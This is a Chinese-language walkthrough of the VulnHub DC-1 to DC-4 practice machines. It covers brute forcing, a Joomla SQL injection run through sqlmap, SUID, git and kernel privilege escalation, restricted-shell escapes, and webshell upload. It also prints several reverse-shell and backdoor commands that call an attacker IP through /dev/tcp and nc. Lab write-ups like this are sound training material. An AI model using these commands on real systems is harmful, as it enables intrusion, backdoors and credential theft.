VulnHub:DC-1~3

DC-1

信息收集

资产扫描

此时先使用fscan对其进行一个C段的扫描看这个IP有什么资产

此时发现了三处的资产和其开放的端口;此时到端口号22想到ssh远程连接,端口号80想到web网页攻击。

漏洞发现

此时继续对这些资产进行扫描,依旧是使用fscan;此时发现其识别出了CMS和其相关的poc

漏洞利用

看到poc被识别出来之后我们直接使用msf进行攻击

此时我们利用第一个远程代码执行漏洞进行尝试

此时可以使用命令info进行查看我们需要设置的选项;此时我们只需要将RHOSTS设置为目标ip即可进行利用;但是此时发现这个漏洞无法建立session并且无法利用漏洞攻击神奇metasploit进行攻击。所以此时我们换一个漏洞进行利用;此时发现攻击机与目标已经建立了session了;并且我们命令执行成功,

因为此时不是交互式的shell所以此时我们考虑建立一个交互式的shell;利用python进行反弹shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

此时也是成功拿下第一个flag

flag1{Every good CMS needs a config file - and so do you.}
此时告诉我们每一个好的CMS都会需要配置文件,此时我们可以去寻找Durpal的配置文件;此时我们通过百度搜索发现durpal的配置文件默认为:sites/default/settings.php;此时我们使用命令进行查找

1
find / -name "*settings*"


此时也是成功的获得flag2{Brute force and dictionary attacks aren’t the,only ways to gain access (and you WILL need access). Wha
t can you do with these credentials?}

数据库账密泄露

此时我们还发现了该数据库的账密泄露了出来,所以此时我们考虑进入数据库看看有什么发现

此时经查找我们找到了两个用户的账号和密码;但是此时的密码是经过加密的

那么此时我们可以找一下这个网站下面是否存在相关加密的代码
此时通过find命令进行模糊查找关键词”encode”或则”psaaword”;最终在找了一个/var/www/scripts/password-hash.sh;此时我们打开之后发现是一p
hp代码;此时通过chatgpt的翻译发现这个可以用来生成加密之后的密码;那么此时我们就可以进行更改密码的操作

此时已经更改成功;此时我们也顺利找到了flag3{Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.}

ssh的爆破

此时提示我们需要passwd和-exec还有shadow

/etc/shadow无法查看,权限不够,查看etc/passwd,发现目标靶机用户flag4,并且有/bin/bash,看到这想到了还有端口22,所以ssh连接。但是密码不
知道所以只能用爆破神器hydra。(其实flag4是在flag4这个系统用户目录下面的,我们可以试试拿到flag4这个用户的账户)

1
2
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.78.147
此时爆破的密码本默认使用kali下自带的密码本

此时成功爆破出密码

此时也成功的拿到flag4{Can you use this same method to find or access the flag in root?Probably. But perhaps it’s not that easy. Or maybe it is?}

SUID提权

SUID是set uid的简称,它出现在文件所属主权限的执行位上面,标志为 s 。当设置了SUID后,UMSK第一位为4。我们知道,我们账户的密码文件存放在/etc/shadow中,而/etc/shadow的权限为 ———-。也就是说:只有root用户可以对该目录进行操作,而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候,可以使用passwd这个指令。passwd这个指令在/bin/passwd下,当我们执行这个命令后,就可以修改/etc/shadow下的密码了。那么为什么我们可以通过passwd这个指令去修改一个我们没有权限的文件呢?这里就用到了suid,suid的作用是让执行该命令的用户以该命令拥有者即root的权限去执行,意思是当普通用户执行passwd时会拥有root的权限,这样就可以修改/etc/passwd这个文件了。
此时提示我们需要root权限,所以此时我们进行一个提权;此时我们通过find命令查看拥有特殊权限suid的命令

1
find / -perm -4000

此时发现find具有root权限。(哪些可以进行提权可以在网上查,提权用法可以临时查);直接执行命令”find -exec /bin/sh ;“进行提权
flag5{Well done!!!!Hopefully you’ve enjoyed this and learned some new skills.}

DC-2

信息收集

资产扫描

此时发现一个301重定向的资产

此时可以在继续的进一步扫描一下它的端口看看其开放了什么业务;此时可以看到其开放了80和7744端口

此时因为存在301重定向的问题我们输入的ip变成了域名;所以此时怀疑存在域名重定向;我们可以修改主机的hosts文件,其作用是主机名到ip地址的映射,他的优先级比DNS高。
windows:

1
c:\windows\system32\drivers\etc\hosts

linux:

1
vim /etc/hosts

此时再次打开就可以发现flag1{Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.More passwords is always better, but sometimes you just can’t win them all.Log in as one to see the next flag.If you can’t find it, log in as another.}
提示用cewl来获取密码,所有应该是爆破密码之类的,且提示自己的密码字典可能无效,且有时没法获得所有密码,提示用其他的身份去登录

目录扫描


此时成功扫描出登入界面http://dc-2/wp-admin;然后根据flag1的提示我们此时应该是要使用cewl进行扫描然后生成字典(cewl是通过爬行网站关键信
息创建一个密码字典)

框架识别


此时发现是wordpress的框架;所以此时可以尝试使用kali自带的WPScan
WPScan:
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。
该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码
此时使用命令爆破出wordpress框架下的用户

1
wpscan --url http://dc-2 --enumerate u


接下来我们就可以使用cewl进行爬行网站关键词来创建一个字典

1
2
3
4
5
cewl http://dc-2/ -w dc2.txt
cewl url -m 9 //生成长度至少为9的密码
cewl url -n -e //从网站中获取email
cewl url -c //计算网站字典中重复的单词数量
cewl url -d 3 //增加爬虫的爬取深度以生成更大的字典文件

此时根据生成的密码本和之前得到的用户名我们继续使用wpscan进行一个爆破密码

1
wpscan --url http://dc-2/ -U '/home/hey/桌面/usdc2.txt'  -P '/home/hey/桌面/dc2.txt'


此时在登入之后也是获得flag2{If you can’t exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.}

7744端口的ssh

提示无法利用wordpress采取捷径,尝试令一种方法,之前nmap扫描出了7744端口,那么我们是不是可以尝试ssh登录

Linux Restricted Shell绕过技巧总结

Restricted Shell既受限的shell,它与一般标准shell的区别在于会限制执行一些行为
此时经过测试发现vi可以使用

此时除了一个个的测试还可以使用命令来看看有哪些命令可以使用

1
2
echo $PATH
echo /home/tom/usr/bin/*

绕过rbash

法一

此时写入

1
2
3
4
vi test
set shell=bin/sh
shell
shell 通常指的是命令行解释器,它是一种用于执行用户输入的命令的程序。它允许用户与操作系统进行交互,运行各种命令、脚本和程序。

我们就可以拿到一个交互式shell,成功进行rbash逃逸;但是此时我们的命令还是用不了,但是此时的报错便变成了/bin/sh: 3: cat: not found;此时的报错是命令执行路径异常的问题

此时我们输入echo $PATH来验证我们命令的路径;此时显示/home/tom/usr/bin;此时我们可以对我们的路径重新赋值

1
2
export PATH="/usr/sbin:/usr/bin:/rbin:/bin"
export的意思是把变量输出为全局变量,后面那些路径是应用常见路径,路径之间使用:分割。


或者此时也可以使用export -p来查看所有路径
flag3{Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.}

法二

此时直接利用bash_cmds来自定义一个shell

1
BASH_CMDS[shell]=/bin/sh;shell

然后此时为这个shell添加环境变量

1
2
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

切换用户jerry

此时根据提示我们可以尝试切换一下用户为jerry

flag4{Good to see that you’ve made it this far - but you’re not home yet. You still need to get the final flag (the only flag that really counts!!!). No hints here - you’re on your own now. :-)Go on - git outta here!!!!}

git提权

此时我们查看一下权限信息sudo -l

此时发现root用户可以执行git命令,且flag4也提示到了git;所以此时我们可以考虑使用git提权
此时可以百度查找git提权的方法

此时输入

1
sudo git -p help config

来强制进入交互状态
接下来输入

1
!/bin/bash

来打开一个用户为root的shell

后门

1
2
3
4
5
6
7
第一种:nc -lvvp 9999 -t -e /bin/bash  
nc瑞士军刀 -l本地监听 -vv详细信息 -p端口 开启本地端口发布出去
windows可使用 nc.exe ip 9999链接linux

第二种bash直接反弹
1.bash -i >& /dev/tcp/192.168.17.71/8080 0>&1
2.本地 nc -l -p 8080

DC-3

信息收集

资产扫描


此时发现有一个资产被扫描出了nday

CMS识别


此时经过验证后我们可以考虑尝试一下yaml-joomla-cve-2017-8917-sqli的poc

cve-2017-8917-sqli

poc

1
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0)

此时经过poc验证确实存在cve-2017-8917-sqli

payload

此时我们采用sqlmap进行注入

1
sqlmap -u "http://192.168.78.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" --dbs

1
sqlmap -u "http://192.168.78.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" --tables

1
sqlmap -u "http://192.168.78.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" --columns

1
sqlmap -u "http://192.168.78.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,password --dump

john破解密码

John the Ripper (“JtR”) 是一个非常有用的工具。这是一个快速的密码破解器,适用于Windows和许多Linux系统。它具有很多功能,对于很多密码破解
均有奇效。

登入之后发现没有flag;它提示我们需要获得root权限

此时我们扫描一下该网站的后台看看还有没有什么资产

getshell

文件上传

此时我们来到了管理员的一个后台资产,此时我们根据之前打攻防演练的思路看看有没有地方可以传马儿;此时成功找到一个可以写入文件的入口

反弹shell

此时利用哥斯拉连接之后我们来反弹个shell到攻击机上面

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.78.132 8080>/tmp/f

交互式shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

内核提权

此时我们反弹shell并生成交互式shell之后我们先来看一下这个操作系统的详细信息

此时我们直接到百度上面找内核提权的exp

先找一个试一试,官网下载下来之后使用webshell管理工具上传到当前目录

1
2
unzip  39772.zip
tar -xvf exploit.tar

接下来进行编译

1
./compile.sh

执行compile.sh生成新的doubleput程序

1
./doubleput


此时已经成功提权到root

DC-4

信息收集

资产收集

端口扫描


此时发现了开了80和22端口,此时的80我们想到web页面攻击,22端口想到ssh

爆破密码

此时进入网页之后是一个登入框并且此时提示我们需要admin才可以登入,此时因为前台没有做任何的处理,所以此时爆破是我门最好的选择;此时成功爆破出密码为happy

RCE

此时进去之后发现有一个命令执行的功能,我们抓个包看看是否存在任意命令的执行

此时发现确实存在任意命令的执行

反弹shell

因为存在任意命令的执行,所以此时我们可以反弹个shell到我们的攻击机上方便我们进行下一步的攻击

1
2
3
nc 192.168.78.132 8080 -e /bin/bash
kali:
nc -lvvp 8080

交互

1
python -c 'import pty;pty.spawn("/bin/sh")'